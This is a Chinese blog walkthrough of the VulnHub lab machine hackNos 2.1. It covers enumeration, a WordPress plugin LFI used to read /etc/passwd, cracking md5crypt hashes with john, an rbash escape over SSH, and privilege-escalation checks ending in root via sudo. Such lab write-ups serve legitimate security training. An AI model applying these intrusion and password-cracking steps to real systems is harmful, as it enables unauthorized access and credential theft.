这是我完成的VulnHub上的第38个靶机。
靶机地址](https://www.vulnhub.com/entry/hacknos-os-hacknos-21,403/)
难度:简单-中等
靶机发布日期:2019年11月29日
靶机描述:Difficulty : Easy to Intermediate
Flag : 2 Flag first user And second root
Learning : Web Application | Enumeration | Password Cracking
Changelog - 2019-12-13 ~ v1.1 - 2019-11-29 ~ v1.0
博客中如有任何问题,恳请批评指正,万分感谢。个人邮箱:[email protected]
工具、知识点和漏洞
- nmap
- gobuster
- searchsploit
- wpscan
- john
- LFI漏洞
- rbash逃逸
0x00、信息收集
靶机IP:192.168.56.101
nmap -sn 192.168.56.0/24
端口和服务
nmap -sS -T5 -A -p- 192.168.56.101
页面、目录枚举
gobuster dir -u http://192.168.56.101 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.txt,.html,.zip ## 没结果
gobuster dir -u http://192.168.56.101 -w ~/Desktop/SecLists/Discovery/Web-Content/raft-large-directories.txt -x .php,.txt,.html,.zip,.bak ## 字典是Github上的SecLists
通过插件Wappalyzer
发现是WordPress
查看网站的过程中发现有些图片没有加载成功,并且还有一个链接指向了hacknos.ova
。在/etc/hosts文件中添加了如下记录后,可正常显示图片。
由于网站是WordPress模板创建的,所以先用wpscan扫描一下,发现使用了存在LFI漏洞的插件。
直接访问https://www.exploit-db.com/exploits/46537
查看PoC。包含一下/etc/passwd
,发现flag用户的加密密码$1$flag$vqjCxzjtRc7PofLYS2lWf/
,从密文中的$1$
可以知道这里使用的加密算法是md5。还有两个信息:用户rohit
;flag用户的默认shell是rbash,这个后面可能需要进行逃逸。
下面使用john
对密码进行爆破。john支持的破解的加密算法(说是加密算法可能不够准确)如下图所示:
john --format=md5crypt --wordlist=/usr/share/wordlists/rockyou.txt hash
john --show hash
0x01、权限提升
使用flag:topsecret
通过SSH登录靶机,发现cd命令无法使用,因为当前用户的shell是rbash。这是一个命令受限的shell。想到之前做过的一个靶机『VulnHub系列』Gears of War: EP#1-Walkthrough使用了一个比较方便的逃逸rbash的方法,这里直接拿来用。
ssh [email protected] -t "bash --noprofile"
2020-01-23更新:新增:basic-linux-privilege-escalation
--------------------------------------------------------------Begin 套话分割线 Begin--------------------------------------------------------------
关于Linux提权,可以直接用脚本搜集一下对于提权有用的信息,比如用linuxprivchecker.py、LinEnum.sh.
如果你想熟悉一下没有脚本的情况下怎么收集这些信息可以参考privilege_escalation_-_linux
先在kali上开启HTTP服务
python -m SimpleHTTPServer 65534
使用wget下载linuxprivchecker.py脚本到靶机的tmp目录
因为本人所在的地理位置不允许直接访问Github,所以我是从自己的kali下载的
cd /tmp
wget http://192.168.0.108:65534/Desktop/linuxprivchecker.py
为了便于查看收集到的信息,我将结果输出到report.txt文本中,之后使用less查看
python linuxprivchecker.py > report.txt
less report.txt
靶机做了这些后发现还是手动收集更快……,手动收集不到有效信息的情况下再尝试用脚本。
-------------------------------------------------------------- End 套话分割线 End --------------------------------------------------------------
查找sudo权限命令,提示flag用户没有权限使用sudo命令。
sudo -l
SUID权限可执行文件,没有可用的
find / -perm -u=s -type f 2>/dev/null
常见的SUID提权可执行文件
- nmap
- vim
- less
- more
- nano
- cp
- mv
- find
- wget
- bash
当前用户可写文件。我先把结果输出到文本文件,然后使用grep加上关键字去筛选。最后发现除了有数据库用户名和密码的wp-config.php这个配置文件外,其他的都没啥用。
find / -writable -type f 2>/dev/null >/tmp/report.txt
grep -Ev '/proc|/sys' /tmp/report.txt
查看计划任务,无。
cat /etc/crontab
内核版本。这里我没有尝试内核提权这种方式,有兴趣的童鞋可以试一下。
跑一下脚本,得到如下信息:
[-] Sudo version:
Sudo version 1.8.21p2
flag用户无法执行sudo命令。
[-] MYSQL version:
mysql Ver 14.14 Distrib 5.7.27, for Linux (x86_64) using EditLine wrapper
搜索之后发现当前版本不存在提权漏洞
/var/backups文件夹中存在一些备份文件,然后就到这个文件夹下面看了看,最后发现了用户的密码的备份文件。因为密文的salt是rohit
,所以猜测这个密文对应的就是rohit的密码。
继续使用john爆破一下密码,得到!%hack41
,测试之后发现确实是rohit用户的密码。
执行sudo -l
命令之后发现,能够以root权限执行命令,直接sudo su -
切换到root用户。
如果你有其他的方法,欢迎留言。若文中有任务错误,恳请批评指正!!!